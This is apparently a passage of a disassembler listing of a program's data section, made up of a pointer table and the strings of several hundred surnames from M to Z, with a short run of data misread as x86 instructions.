		dd offset aMacy		; "Macy"
		dd offset aMadigan	; "Madigan"
		dd offset aMaggio	; "Maggio"
		dd offset aMahony	; "Mahony"
		dd offset aMaier	; "Maier"
		dd offset aMaineHershey	; "Maine-Hershey"
		dd offset aMaisano	; "Maisano"
		dd offset aMalatesta	; "Malatesta"
		dd offset aMaller	; "Maller"
		dd offset aMalova	; "Malova"
		dd offset aManalis	; "Manalis"
		dd offset aMandel	; "Mandel"
		dd offset aManganiello	; "Manganiello"
		dd offset aMantovan	; "Mantovan"
		dd offset aMarch	; "March"
		dd offset aMarchbanks	; "Marchbanks"
		dd offset aMarcus	; "Marcus"
		dd offset aMargalit	; "Margalit"
		dd offset aMargetts	; "Margetts"
		dd offset aMarques	; "Marques"
		dd offset aMartinez	; "Martinez"
		dd offset aMartochio	; "Martochio"
		dd offset aMarton	; "Marton"
		dd offset aMarubini	; "Marubini"
		dd offset aMass		; "Mass"
		dd offset aMatalka	; "Matalka"
		dd offset aMatarazzo	; "Matarazzo"
		dd offset aMatsukata	; "Matsukata"
		dd offset aMattson	; "Mattson"
		dd offset aMauzy	; "Mauzy"
		dd offset aMay		; "May"
		dd offset aMazzali	; "Mazzali"
		dd offset aMazziotta	; "Mazziotta"
		dd offset aMcbride	; "Mcbride"
		dd offset aMccaffery	; "Mccaffery"
		dd offset aMccall	; "Mccall"
		dd offset aMcclearn	; "Mcclearn"
		dd offset aMcdowell	; "Mcdowell"
		dd offset aMcelroy	; "Mcelroy"
		dd offset aMcfadden	; "McFadden"
		dd offset aMcghee	; "Mcghee"
		dd offset aMcgoldrick	; "Mcgoldrick"
		dd offset aMcilroy	; "McIlroy"
		dd offset aMcintosh	; "Mcintosh"
		dd offset aMckenna	; "Mckenna"
		dd offset aMclane	; "Mclane"
		dd offset aMclaren	; "Mclaren"
		dd offset aMcnealy	; "Mcnealy"
		dd offset aMcnulty	; "Mcnulty"
		dd offset aMeccariello	; "Meccariello"
		dd offset aMemisoglu	; "Memisoglu"
		dd offset aMenzies	; "Menzies"
		dd offset aMerikoski	; "Merikoski"
		dd offset aMerlani	; "Merlani"
		dd offset aMerminod	; "Merminod"
		dd offset aMerseth	; "Merseth"
		dd offset aMerz		; "Merz"
		dd offset aMetelka	; "Metelka"
		dd offset aMetropolis	; "Metropolis"
		dd offset aMeurer	; "Meurer"
		dd offset aMichelman	; "Michelman"
		dd offset aMiddle	; "Middle"
		dd offset aMieher	; "Mieher"
		dd offset aMills	; "Mills"
		dd offset aMinh		; "Minh"
		dd offset aMini		; "Mini"
		dd offset aMinichiello	; "Minichiello"
		dd offset aGonzalez	; "Gonzalez"
		dd offset aMitropoulos	; "Mitropoulos"
		dd offset aMittal	; "Mittal"
		dd offset aMocroft	; "Mocroft"
		dd offset aModestino	; "Modestino"
		dd offset aMoeller	; "Moeller"
		dd offset aMohr		; "Mohr"
		dd offset aMoiamedi	; "Moiamedi"
		dd offset aMonque	; "Monque"
		dd offset aMontilio	; "Montilio"
		dd offset aMooredech_	; "MooreDeCh."
		dd offset aMorani	; "Morani"
		dd offset aMoreton	; "Moreton"
		dd offset aMorrison	; "Morrison"
		dd offset aMorrow	; "Morrow"
		dd offset aMortimer	; "Mortimer"
		dd offset aMosher	; "Mosher"
		dd offset aMosler	; "Mosler"
		dd offset aMostafavi	; "Mostafavi"
		dd offset aMotooka	; "Motooka"
		dd offset aMudarri	; "Mudarri"
		dd offset aMuello	; "Muello"
		dd offset aMugnai	; "Mugnai"
		dd offset aMulkern	; "Mulkern"
		dd offset aMulroy	; "Mulroy"
		dd offset aMumford	; "Mumford"
		dd offset aMussachio	; "Mussachio"
		dd offset aNaddeo	; "Naddeo"
		dd offset aNapolitano	; "Napolitano"
		dd offset aNardi	; "Nardi"
		dd offset aNardone	; "Nardone"
		dd offset aNaviaux	; "Naviaux"
		dd offset aNayduch	; "Nayduch"
		dd offset aNelson	; "Nelson"
		dd offset aNenna	; "Nenna"
		dd offset aNesci	; "Nesci"
		dd offset aNeuman	; "Neuman"
		dd offset aNewfeld	; "Newfeld"
		dd offset aNewlin	; "Newlin"
		dd offset aNg		; "Ng"
		dd offset aNi_0		; "Ni"
		dd offset aNickerson	; "Nickerson"
		dd offset aNickoloff	; "Nickoloff"
		dd offset aNisenson	; "Nisenson"
		dd offset aNitabach	; "Nitabach"
		dd offset aNotman	; "Notman"
		dd offset aNuzum	; "Nuzum"
		dd offset aOcougne	; "Ocougne"
		dd offset aOgata	; "Ogata"
		dd offset aOh		; "Oh"
		dd offset aOHagan	; "O'hagan"
		dd offset aOldford	; "Oldford"
		dd offset aOlsen	; "Olsen"
		dd offset aOlson	; "Olson"
		dd offset aOlszewski	; "Olszewski"
		dd offset aOMalley	; "O'malley"
		dd offset aOman		; "Oman"
		dd offset aOMeara	; "O'meara"
		dd offset aOpel		; "Opel"
		dd offset aOray		; "Oray"
		dd offset aOrfield	; "Orfield"
		dd offset aOrsi		; "Orsi"
		dd offset aOspina	; "Ospina"
		dd offset aOstrowski	; "Ostrowski"
		dd offset aOttaviani	; "Ottaviani"
		dd offset aOtten	; "Otten"
		dd offset aOuchida	; "Ouchida"
		dd offset aOvid		; "Ovid"
		dd offset aPaesdealmeida ; "PaesDealmeida"
		dd offset aPaine	; "Paine"
		dd offset aPalayoor	; "Palayoor"
		dd offset aPalepu	; "Palepu"
		dd offset aPallara	; "Pallara"
		dd offset aPalmitesta	; "Palmitesta"
		dd offset aPanadero	; "Panadero"
		dd offset aPanizzon	; "Panizzon"
		dd offset aPantilla	; "Pantilla"
		dd offset aPaoletti	; "Paoletti"
		dd offset aParmeggiani	; "Parmeggiani"
		dd offset aParris	; "Parris"
		dd offset aPartridge	; "Partridge"
		dd offset aPascucci	; "Pascucci"
		dd offset aPatefield	; "Patefield"
		dd offset aPatrick	; "Patrick"
		dd offset aPattullo	; "Pattullo"
		dd offset aPavetti	; "Pavetti"
		dd offset aPavlon	; "Pavlon"
		dd offset aPawloski	; "Pawloski"
		dd offset aPaynter	; "Paynter"
		dd offset aPeabody	; "Peabody"
		dd offset aPearlberg	; "Pearlberg"
		dd offset aPederson	; "Pederson"
		dd offset aPeishel	; "Peishel"
		dd offset aPenny	; "Penny"
		dd offset aPereira	; "Pereira"
		dd offset aPerko	; "Perko"
		dd offset aPerlak	; "Perlak"
		dd offset aPerlman	; "Perlman"
		dd offset aPerna	; "Perna"
		dd offset aPerone	; "Perone"
		dd offset aPerrimon	; "Perrimon"
		dd offset aPeters	; "Peters"
		dd offset aPetruzello	; "Petruzello"
		dd offset aPettibone	; "Pettibone"
		dd offset aPettit	; "Pettit"
		dd offset aPfister	; "Pfister"
		dd offset aPilbeam	; "Pilbeam"
		dd offset aPinot	; "Pinot"
		dd offset aPlancon	; "Plancon"
		dd offset aPlant	; "Plant"
		dd offset aPlasket	; "Plasket"
		dd offset aPlous	; "Plous"
		dd offset aPo		; "Po"
		dd offset aPocobene	; "Pocobene"
		dd offset aPoincaire	; "Poincaire"
		dd offset aPointer	; "Pointer"
		dd offset aPoirier	; "Poirier"
		dd offset aPolak	; "Polak"
		dd offset aPolanyi	; "Polanyi"
		dd offset aPolitis	; "Politis"
		dd offset aPoma		; "Poma"
		dd offset aPoolman	; "Poolman"
		dd offset aPowers	; "Powers"
		dd offset aPresper	; "Presper"
		dd offset aPreucel	; "Preucel"
		dd offset aPrevost	; "Prevost"
		dd offset aPritchard	; "Pritchard"
		dd offset aPritz	; "Pritz"
		dd offset aProietti	; "Proietti"
		dd offset aProthrowStith ; "Prothrow-Stith"
		dd offset aPuccia	; "Puccia"
		dd offset aPugh		; "Pugh"
		dd offset aPynchon	; "Pynchon"
		dd offset aQuaday	; "Quaday"
		dd offset aQuetin	; "Quetin"
		dd offset aRabe		; "Rabe"
		dd offset aRabkin	; "Rabkin"
		dd offset aRadeke	; "Radeke"
		dd offset aRajagopalan	; "Rajagopalan"
		dd offset aRaney	; "Raney"
		dd offset aRangan	; "Rangan"
		dd offset aRankin	; "Rankin"
		dd offset aRapple	; "Rapple"
		dd offset aRayport	; "Rayport"
		dd offset aReddenTyler	; "Redden-Tyler"
		dd offset aReedquist	; "Reedquist"
		dd offset aCunningham	; "Cunningham"
		dd offset aReinold	; "Reinold"
		dd offset aRemak	; "Remak"
		dd offset aRenick	; "Renick"
		dd offset aRepetto	; "Repetto"
		dd offset aResnik	; "Resnik"
		dd offset aRhea		; "Rhea"
		dd offset aRichmond	; "Richmond"
		dd offset aRielly	; "Rielly"
		dd offset aRindos	; "Rindos"
		dd offset aRineer	; "Rineer"
		dd offset aRish		; "Rish"
		dd offset aRivera	; "Rivera"
		dd offset aRobinson	; "Robinson"
		dd offset aRocha	; "Rocha"
		dd offset aRoesler	; "Roesler"
		dd offset aRogers	; "Rogers"
		dd offset aRonen	; "Ronen"
		dd offset aRow		; "Row"
		dd offset aRoyal	; "Royal"
		dd offset aRu		; "Ru"
		dd offset aRuan		; "Ruan"
		dd offset aRuderman	; "Ruderman"
		dd offset aRuescher	; "Ruescher"
		dd offset aRush		; "Rush"
		dd offset aRyu		; "Ryu"
		dd offset aSabatello	; "Sabatello"
		dd offset aSadler	; "Sadler"
		dd offset aSafire	; "Safire"
		dd offset aSahu		; "Sahu"
		dd offset aSali		; "Sali"
		dd offset aSamson	; "Samson"
		dd offset aSanchezRamirez ; "Sanchez-Ramirez"
		dd offset aSanna	; "Sanna"
		dd offset aSapers	; "Sapers"
		dd offset aSarin	; "Sarin"
		dd offset aSartore	; "Sartore"
		dd offset aSase		; "Sase"
		dd offset aSatin	; "Satin"
		dd offset aSatta	; "Satta"
		dd offset aSatterthwaite ; "Satterthwaite"
		dd offset aSawtell	; "Sawtell"
		dd offset aSayied	; "Sayied"
		dd offset aScarponi	; "Scarponi"
		dd offset aScepan	; "Scepan"
		dd offset aScharf	; "Scharf"
		dd offset aScharlemann	; "Scharlemann"
		dd offset aScheiner	; "Scheiner"
		dd offset aSchiano	; "Schiano"
		dd offset aSchifini	; "Schifini"
		dd offset aSchilling	; "Schilling"
		dd offset aSchmitt	; "Schmitt"
		dd offset aSchossberger	; "Schossberger"
		dd offset aSchuman	; "Schuman"
		dd offset aSchutte	; "Schutte"
		dd offset aSchuyler	; "Schuyler"
		dd offset aSchwan	; "Schwan"
		dd offset aSchwickrath	; "Schwickrath"
		dd offset aScovel	; "Scovel"
		dd offset aScudder	; "Scudder"
		dd offset aSeaton	; "Seaton"
		dd offset aSeeber	; "Seeber"
		dd offset aSegal	; "Segal"
		dd offset aSekler	; "Sekler"
		dd offset aSelvage	; "Selvage"
		dd offset aSen		; "Sen"
		dd offset aSennett	; "Sennett"
		dd offset aSeterdahl	; "Seterdahl"
		dd offset aSexton	; "Sexton"
		dd offset aSeyfert	; "Seyfert"
		dd offset aShaikh	; "Shaikh"
		dd offset aShakis	; "Shakis"
		dd offset aShankland	; "Shankland"
		dd offset aShanley	; "Shanley"
		dd offset aShar		; "Shar"
		dd offset aShatrov	; "Shatrov"
		dd offset aShavelson	; "Shavelson"
		dd offset aShea		; "Shea"
		dd offset aSheats	; "Sheats"
		dd offset aShepherd	; "Shepherd"
		dd offset aSheppard	; "Sheppard"
		dd offset aShepstone	; "Shepstone"
		dd offset aShesko	; "Shesko"
		dd offset aShia		; "Shia"
		dd offset aShibata	; "Shibata"
		dd offset aShimon	; "Shimon"
		dd offset aSiesto	; "Siesto"
		dd offset aSigalot	; "Sigalot"
		dd offset aSigini	; "Sigini"
		dd offset aSigna	; "Signa"
		dd offset aSilverman	; "Silverman"
		dd offset aSilvetti	; "Silvetti"
		dd offset aSinsabaugh	; "Sinsabaugh"
		dd offset aSirilli	; "Sirilli"
		dd offset aSites	; "Sites"
		dd offset aSkane	; "Skane"
		dd offset aSkerry	; "Skerry"
		dd offset aSkoda	; "Skoda"
		dd offset aSloan	; "Sloan"
		dd offset aSlowe	; "Slowe"
		dd offset aSmilow	; "Smilow"
		dd offset aSniffen	; "Sniffen"
		dd offset aSnodgrass	; "Snodgrass"
		dd offset aSocolow	; "Socolow"
		dd offset aSolon	; "Solon"
		dd offset aSomers	; "Somers"
		dd offset aSommariva	; "Sommariva"
		dd offset aSorabella	; "Sorabella"
		dd offset aSorg		; "Sorg"
		dd offset aSottak	; "Sottak"
		dd offset aSoukup	; "Soukup"
		dd offset aSoule	; "Soule"
		dd offset aSoultanian	; "Soultanian"
		dd offset aSpanier	; "Spanier"
		dd offset aSparrow	; "Sparrow"
		dd offset aSpaulding	; "Spaulding"
		dd offset aSpeizer	; "Speizer"
		dd offset aSpence	; "Spence"
		dd offset aSperber	; "Sperber"
		dd offset aSpicer	; "Spicer"
		dd offset aSpiegelhalter ; "Spiegelhalter"
		dd offset aSpiliotis	; "Spiliotis"
		dd offset aSpinrad	; "Spinrad"
		dd offset aStmartin	; "StMartin"
		dd offset aStalvey	; "Stalvey"
		dd offset aStam		; "Stam"
		dd offset aStang	; "Stang"
		dd offset aStassinopolus ; "Stassinopolus"
		dd offset aStates	; "States"
		dd offset aStatlender	; "Statlender"
		dd offset aStefani	; "Stefani"
		dd offset aSteiner	; "Steiner"
		dd offset aStephanian	; "Stephanian"
		dd offset aStepniewska	; "Stepniewska"
		dd offset aStewartOaten	; "Stewart-Oaten"
		dd offset aStiepock	; "Stiepock"
		dd offset aStillwell	; "Stillwell"
		dd offset aStock	; "Stock"
		dd offset aStockton	; "Stockton"
		dd offset aStockwell	; "Stockwell"
		dd offset aStolzenberg	; "Stolzenberg"
		dd offset aStonich	; "Stonich"
		dd offset aStorer	; "Storer"
		dd offset aStott	; "Stott"
		dd offset aStrange	; "Strange"
		dd offset aStrauch	; "Strauch"
		dd offset aStreiff	; "Streiff"
		dd offset aStringer	; "Stringer"
		dd offset aSullivan	; "Sullivan"
		dd offset aSumner	; "Sumner"
		dd offset aSuo		; "Suo"
		dd offset aSurdam	; "Surdam"
		dd offset aSweeting	; "Sweeting"
		dd offset aSweetser	; "Sweetser"
		dd offset aSwindle	; "Swindle"
		dd offset aTagiuri	; "Tagiuri"
		dd offset aTai		; "Tai"
		dd offset aTalaugon	; "Talaugon"
		dd offset aTambiah	; "Tambiah"
		dd offset aTandler	; "Tandler"
		dd offset aTanowitz	; "Tanowitz"
		dd offset aTatar	; "Tatar"
		dd offset aTaveras	; "Taveras"
		dd offset aTawn		; "Tawn"
		dd offset aTcherepnin	; "Tcherepnin"
		dd offset aTeague	; "Teague"
		dd offset aTemes	; "Temes"
		dd offset aTemmer	; "Temmer"
		dd offset aTenney	; "Tenney"
		dd offset aTerracini	; "Terracini"
		dd offset aThan		; "Than"
		dd offset aThavaneswaran ; "Thavaneswaran"
		dd offset aTheodos	; "Theodos"
		dd offset aThibault	; "Thibault"
		dd offset aThisted	; "Thisted"
		dd offset aThomsen	; "Thomsen"
		dd offset aThroop	; "Throop"
		dd offset aTierney	; "Tierney"
		dd offset aTill		; "Till"
		dd offset aTimmons	; "Timmons"
		dd offset aTofallis	; "Tofallis"
		dd offset aTollestrup	; "Tollestrup"
		dd offset aTolls	; "Tolls"
		dd offset aTolman	; "Tolman"
		dd offset aTomford	; "Tomford"
		dd offset aToomer	; "Toomer"
		dd offset aTopulos	; "Topulos"
		dd offset aTorresi	; "Torresi"
		dd offset aTorske	; "Torske"
		dd offset aTowler	; "Towler"
; ---------------------------------------------------------------------------
		or	ah, ch
		inc	edx
		add	ah, bh
		jmp	short loc_42E6D9
; ---------------------------------------------------------------------------
		align 4
		dd offset aTrenga	; "Trenga"
		dd offset aTrewin	; "Trewin"
		dd offset aTringali	; "Tringali"
; ---------------------------------------------------------------------------
		fsubr	st, st(3)
		inc	edx
		add	al, dl
		jmp	short loc_42E6ED
; ---------------------------------------------------------------------------
		align 4
		enter	42EBh, 0
		shr	bl, 42h
		add	[ebx+ebp*8-1457FFBEh], dh
		inc	edx
		add	[eax-67FFBD15h], ah
		jmp	short loc_42E705
; ---------------------------------------------------------------------------
		align 4
		dd offset aTukan	; "Tukan"
; ---------------------------------------------------------------------------
		mov	bl, ch
		inc	edx
		add	[eax+780042EBh], al
		jmp	short loc_42E715
; ---------------------------------------------------------------------------
		align 4
		dd offset aTwells	; "Twells"
		db 64h
; ---------------------------------------------------------------------------

loc_42E6D9:				; CODE XREF: ___:0042E695j
		jmp	short loc_42E71D
; ---------------------------------------------------------------------------
		align 4
		dd offset aUllman	; "Ullman"
; ---------------------------------------------------------------------------
		push	eax
		jmp	short loc_42E725
; ---------------------------------------------------------------------------
		align 4
		dd offset aUpsdell	; "Upsdell"
; ---------------------------------------------------------------------------
		inc	eax
		jmp	short near ptr byte_42E72D
; ---------------------------------------------------------------------------
		align 4
		db 30h
; ---------------------------------------------------------------------------

loc_42E6ED:				; CODE XREF: ___:0042E6A9j
		jmp	short loc_42E731
; ---------------------------------------------------------------------------
		align 10h
		sub	bl, ch
		inc	edx
		add	[eax], ah
		jmp	short loc_42E739
; ---------------------------------------------------------------------------
		align 4
		sbb	bl, ch
		inc	edx
		add	[eax], dl
		jmp	short loc_42E741
; ---------------------------------------------------------------------------
		align 10h
		or	bl, ch
		inc	edx
		add	ah, bh

loc_42E705:				; CODE XREF: ___:0042E6C1j
		jmp	far ptr	42h:0EAF40042h
; ---------------------------------------------------------------------------
		dd offset aWallenberg	; "Wallenberg"
		dd offset aWalter	; "Walter"
		db 0D4h
; ---------------------------------------------------------------------------

loc_42E715:				; CODE XREF: ___:0042E6D1j
		jmp	far ptr	42h:0EACC0042h
; ---------------------------------------------------------------------------
		db 0C0h
; ---------------------------------------------------------------------------

loc_42E71D:				; CODE XREF: ___:loc_42E6D9j
		jmp	far ptr	42h:0EAB00042h
; ---------------------------------------------------------------------------
		movsb

loc_42E725:				; CODE XREF: ___:0042E6E1j
		jmp	far ptr	42h:0EA980042h
; ---------------------------------------------------------------------------
		db 90h
byte_42E72D	db 0EAh, 42h, 0		; CODE XREF: ___:0042E6E9j
		db 88h
; ---------------------------------------------------------------------------

loc_42E731:				; CODE XREF: ___:loc_42E6EDj
		jmp	far ptr	42h:0EA7C0042h
; ---------------------------------------------------------------------------
		db 70h
; ---------------------------------------------------------------------------

loc_42E739:				; CODE XREF: ___:0042E6F5j
		jmp	far ptr	42h:0EA640042h
; ---------------------------------------------------------------------------
		pop	eax

loc_42E741:				; CODE XREF: ___:0042E6FDj
		jmp	far ptr	42h:0EA4C0042h
; ---------------------------------------------------------------------------
		dd offset aVelasquez	; "Velasquez"
		dd offset aWelles	; "Welles"
		dd offset aWelsh	; "Welsh"
		dd offset aWengret	; "Wengret"
		dd offset aVenne	; "Venne"
		dd offset aVerghese	; "Verghese"
		dd offset aWescott	; "Wescott"
		dd offset aWetzel	; "Wetzel"
		dd offset aWhately	; "Whately"
		dd offset aWhilton	; "Whilton"
		dd offset aWhite	; "White"
		dd offset aWhitla	; "Whitla"
		dd offset aWhittaker	; "Whittaker"
		dd offset aViana	; "Viana"
		dd offset aViano	; "Viano"
		dd offset aWiedersheim	; "Wiedersheim"
		dd offset aWiener	; "Wiener"
		dd offset aViens	; "Viens"
		dd offset aVignola	; "Vignola"
		dd offset aWilder	; "Wilder"
		dd offset aWilhelm	; "Wilhelm"
		dd offset aWilk		; "Wilk"
		dd offset aWilkin	; "Wilkin"
		dd offset aWilkinson	; "Wilkinson"
		dd offset aVillarreal	; "Villarreal"
		dd offset aWillstatter	; "Willstatter"
		dd offset aWilson	; "Wilson"
		dd offset aVitali	; "Vitali"
		dd offset aViviani	; "Viviani"
		dd offset aVoigt	; "Voigt"
		dd offset aWolk		; "Wolk"
		dd offset aVonhoffman	; "VonHoffman"
		dd offset aWoo		; "Woo"
		dd offset aWooden	; "Wooden"
		dd offset aWoods	; "Woods"
		dd offset aWoodsPowell	; "Woods-Powell"
		dd offset aVorhaus	; "Vorhaus"
		dd offset aVotey	; "Votey"
		dd offset aYacono	; "Yacono"
		dd offset aYamane	; "Yamane"
		dd offset aYankee	; "Yankee"
		dd offset aYarchuk	; "Yarchuk"
		dd offset aYates	; "Yates"
		dd offset aYbarra	; "Ybarra"
		dd offset aYedidia	; "Yedidia"
		dd offset aYesson	; "Yesson"
		dd offset aYetiv	; "Yetiv"
		dd offset aYoffe	; "Yoffe"
		dd offset aYoo		; "Yoo"
		dd offset aYoukSee	; "Youk-See"
		dd offset aYu		; "Yu"
		dd offset aZachary	; "Zachary"
		dd offset aZahedi	; "Zahedi"
		dd offset aZangwill	; "Zangwill"
		dd offset aZegans	; "Zegans"
		dd offset aZerbini	; "Zerbini"
		dd offset aZoldak	; "Zoldak"
		dd offset aZucconi	; "Zucconi"
		dd offset aZurn		; "Zurn"
		dd offset aZwiers	; "Zwiers"
		dd offset aZytowski	; "Zytowski"
aZytowski	db 'Zytowski',0         ; DATA XREF: ___:0042E838o
		align 4
aZwiers		db 'Zwiers',0           ; DATA XREF: ___:0042E834o
		align 10h
aZurn		db 'Zurn',0             ; DATA XREF: ___:0042E830o
		align 4
aZucconi	db 'Zucconi',0          ; DATA XREF: ___:0042E82Co
aZoldak		db 'Zoldak',0           ; DATA XREF: ___:0042E828o
		align 4
aZerbini	db 'Zerbini',0          ; DATA XREF: ___:0042E824o
aZegans		db 'Zegans',0           ; DATA XREF: ___:0042E820o
		align 4
aZangwill	db 'Zangwill',0         ; DATA XREF: ___:0042E81Co
		align 4
aZahedi		db 'Zahedi',0           ; DATA XREF: ___:0042E818o
		align 4
aZachary	db 'Zachary',0          ; DATA XREF: ___:0042E814o
aYu		db 'Yu',0               ; DATA XREF: ___:0042E810o
		align 4
aYoukSee	db 'Youk-See',0         ; DATA XREF: ___:0042E80Co
		align 4
aYoo		db 'Yoo',0              ; DATA XREF: ___:0042E808o
aYoffe		db 'Yoffe',0            ; DATA XREF: ___:0042E804o
		align 10h
aYetiv		db 'Yetiv',0            ; DATA XREF: ___:0042E800o
		align 4
aYesson		db 'Yesson',0           ; DATA XREF: ___:0042E7FCo
		align 10h
aYedidia	db 'Yedidia',0          ; DATA XREF: ___:0042E7F8o
aYbarra		db 'Ybarra',0           ; DATA XREF: ___:0042E7F4o
		align 10h
aYates		db 'Yates',0            ; DATA XREF: ___:0042E7F0o
		align 4
aYarchuk	db 'Yarchuk',0          ; DATA XREF: ___:0042E7ECo
aYankee		db 'Yankee',0           ; DATA XREF: ___:0042E7E8o
		align 4
aYamane		db 'Yamane',0           ; DATA XREF: ___:0042E7E4o
		align 10h
aYacono		db 'Yacono',0           ; DATA XREF: ___:0042E7E0o
		align 4
aVotey		db 'Votey',0            ; DATA XREF: ___:0042E7DCo
		align 10h
aVorhaus	db 'Vorhaus',0          ; DATA XREF: ___:0042E7D8o
aWoodsPowell	db 'Woods-Powell',0     ; DATA XREF: ___:0042E7D4o
		align 4
aWoods		db 'Woods',0            ; DATA XREF: ___:0042E7D0o
		align 10h
aWooden		db 'Wooden',0           ; DATA XREF: ___:0042E7CCo
		align 4
aWoo		db 'Woo',0              ; DATA XREF: ___:0042E7C8o
aVonhoffman	db 'VonHoffman',0       ; DATA XREF: ___:0042E7C4o
		align 4
aWolk		db 'Wolk',0             ; DATA XREF: ___:0042E7C0o
		align 10h
aVoigt		db 'Voigt',0            ; DATA XREF: ___:0042E7BCo
		align 4
aViviani	db 'Viviani',0          ; DATA XREF: ___:0042E7B8o
aVitali		db 'Vitali',0           ; DATA XREF: ___:0042E7B4o
		align 4
aWilson		db 'Wilson',0           ; DATA XREF: ___:0042E7B0o
		align 10h
aWillstatter	db 'Willstatter',0      ; DATA XREF: ___:0042E7ACo
aVillarreal	db 'Villarreal',0       ; DATA XREF: ___:0042E7A8o
		align 4
aWilkinson	db 'Wilkinson',0        ; DATA XREF: ___:0042E7A4o
		align 4
aWilkin		db 'Wilkin',0           ; DATA XREF: ___:0042E7A0o
		align 4
aWilk		db 'Wilk',0             ; DATA XREF: ___:0042E79Co
		align 4
aWilhelm	db 'Wilhelm',0          ; DATA XREF: ___:0042E798o
aWilder		db 'Wilder',0           ; DATA XREF: ___:0042E794o
		align 4
aVignola	db 'Vignola',0          ; DATA XREF: ___:0042E790o
aViens		db 'Viens',0            ; DATA XREF: ___:0042E78Co
		align 4
aWiener		db 'Wiener',0           ; DATA XREF: ___:0042E788o
		align 4
aWiedersheim	db 'Wiedersheim',0      ; DATA XREF: ___:0042E784o
aViano		db 'Viano',0            ; DATA XREF: ___:0042E780o
		align 10h
aViana		db 'Viana',0            ; DATA XREF: ___:0042E77Co
		align 4
aWhittaker	db 'Whittaker',0        ; DATA XREF: ___:0042E778o
		align 4
aWhitla		db 'Whitla',0           ; DATA XREF: ___:0042E774o
		align 4
aWhite		db 'White',0            ; DATA XREF: ___:0042E770o
		align 4
aWhilton	db 'Whilton',0          ; DATA XREF: ___:0042E76Co
aWhately	db 'Whately',0          ; DATA XREF: ___:0042E768o
aWetzel		db 'Wetzel',0           ; DATA XREF: ___:0042E764o
		align 4
aWescott	db 'Wescott',0          ; DATA XREF: ___:0042E760o
aVerghese	db 'Verghese',0         ; DATA XREF: ___:0042E75Co
		align 10h
aVenne		db 'Venne',0            ; DATA XREF: ___:0042E758o
		align 4
aWengret	db 'Wengret',0          ; DATA XREF: ___:0042E754o
aWelsh		db 'Welsh',0            ; DATA XREF: ___:0042E750o
		align 4
aWelles		db 'Welles',0           ; DATA XREF: ___:0042E74Co
		align 10h
aVelasquez	db 'Velasquez',0        ; DATA XREF: ___:0042E748o
		align 4
aWeissman	db 'Weissman',0
		align 4
aWeissbourd	db 'Weissbourd',0
		align 4
aWeinhaus	db 'Weinhaus',0
		align 10h
aWeingarten	db 'Weingarten',0
		align 4
aWeighart	db 'Weighart',0
		align 4
aWaugh		db 'Waugh',0
		align 10h
aVasquez	db 'Vasquez',0
aWasowska	db 'Wasowska',0
		align 4
aWarshafsky	db 'Warshafsky',0
		align 10h
aVanheeckeren	db 'Vanheeckeren',0
		align 10h
aVandenberg	db 'Vandenberg',0
		align 4
aVanzwet	db 'VanZwet',0
aVanallen	db 'vanAllen',0
		align 10h
aWalter		db 'Walter',0           ; DATA XREF: ___:0042E710o
		align 4
aWallenberg	db 'Wallenberg',0       ; DATA XREF: ___:0042E70Co
		align 4
aWales		db 'Wales',0
		align 4
aValencia	db 'Valencia',0
		align 4
aValberg	db 'Valberg',0
aWaite		db 'Waite',0
		align 4
aVacca		db 'Vacca',0
		align 10h
aUzuner		db 'Uzuner',0
		align 4
aUsdan		db 'Usdan',0
		align 10h
aUrdangBrown	db 'Urdang-Brown',0
		align 10h
aUrban		db 'Urban',0
		align 4
aUpsdell	db 'Upsdell',0          ; DATA XREF: ___:0042E6E4o
aUntermeyer	db 'Untermeyer',0
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: ___:0042E6DCo
		align 4
aTzamarias	db 'Tzamarias',0
		align 10h
aTwells		db 'Twells',0           ; DATA XREF: ___:0042E6D4o
		align 4
aTuttle		db 'Tuttle',0
		align 10h
aTurek		db 'Turek',0
		align 4
aTurano		db 'Turano',0
		align 10h
aTukan		db 'Tukan',0            ; DATA XREF: ___:0042E6C4o
		align 4
aTudge		db 'Tudge',0
		align 10h
aTuck		db 'Tuck',0
		align 4
aTsukurov	db 'Tsukurov',0
		align 4
aTsomides	db 'Tsomides',0
		align 10h
aTsiatis	db 'Tsiatis',0
aTruss		db 'Truss',0
		align 10h
aTroy		db 'Troy',0
		align 4
aTroiani	db 'Troiani',0
aTringali	db 'Tringali',0         ; DATA XREF: ___:0042E6A0o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: ___:0042E69Co
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: ___:0042E698o
		align 4
aTraebert	db 'Traebert',0
		align 4
aToye		db 'Toye',0
		align 10h
aTowler		db 'Towler',0           ; DATA XREF: ___:0042E68Co
		align 4
aTorske		db 'Torske',0           ; DATA XREF: ___:0042E688o
		align 10h
aTorresi	db 'Torresi',0          ; DATA XREF: ___:0042E684o
aTopulos	db 'Topulos',0          ; DATA XREF: ___:0042E680o
aToomer		db 'Toomer',0           ; DATA XREF: ___:0042E67Co
		align 4
aTomford	db 'Tomford',0          ; DATA XREF: ___:0042E678o
aTolman		db 'Tolman',0           ; DATA XREF: ___:0042E674o
		align 4
aTolls		db 'Tolls',0            ; DATA XREF: ___:0042E670o
		align 10h
aTollestrup	db 'Tollestrup',0       ; DATA XREF: ___:0042E66Co
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: ___:0042E668o
		align 4
aTimmons	db 'Timmons',0          ; DATA XREF: ___:0042E664o
aTill		db 'Till',0             ; DATA XREF: ___:0042E660o
		align 4
aTierney	db 'Tierney',0          ; DATA XREF: ___:0042E65Co
aThroop		db 'Throop',0           ; DATA XREF: ___:0042E658o
		align 4
aThomsen	db 'Thomsen',0          ; DATA XREF: ___:0042E654o
aThisted	db 'Thisted',0          ; DATA XREF: ___:0042E650o
aThibault	db 'Thibault',0         ; DATA XREF: ___:0042E64Co
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: ___:0042E648o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: ___:0042E644o
		align 4
aThan		db 'Than',0             ; DATA XREF: ___:0042E640o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: ___:0042E63Co
		align 10h
aTenney		db 'Tenney',0           ; DATA XREF: ___:0042E638o
		align 4
aTemmer		db 'Temmer',0           ; DATA XREF: ___:0042E634o
		align 10h
aTemes		db 'Temes',0            ; DATA XREF: ___:0042E630o
		align 4
aTeague		db 'Teague',0           ; DATA XREF: ___:0042E62Co
		align 10h
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: ___:0042E628o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: ___:0042E624o
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: ___:0042E620o
